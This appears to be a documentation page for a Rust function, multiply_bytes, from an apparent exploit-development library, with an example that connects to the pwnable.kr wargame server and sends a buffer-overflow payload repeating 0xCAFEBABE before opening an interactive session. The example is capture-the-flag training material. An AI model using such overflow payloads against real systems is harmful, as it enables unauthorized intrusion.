Function multiply_bytes
Source pub fn multiply_bytes(l: &[u8], len: usize) -> Vec<u8> ⓘ
Expand description
Copies the array l
into the output len
times
examples/pwnable_kr_bof.rs (
line 12)
8fn main() {
9 let mut remote = TcpStream::connect("pwnable.kr:9000").unwrap();
10
11 remote
12 .send_line(&multiply_bytes(pack!(0xCAFEBABE, 32), 0xe))
13 .unwrap();
14 remote.interactive().unwrap();
15}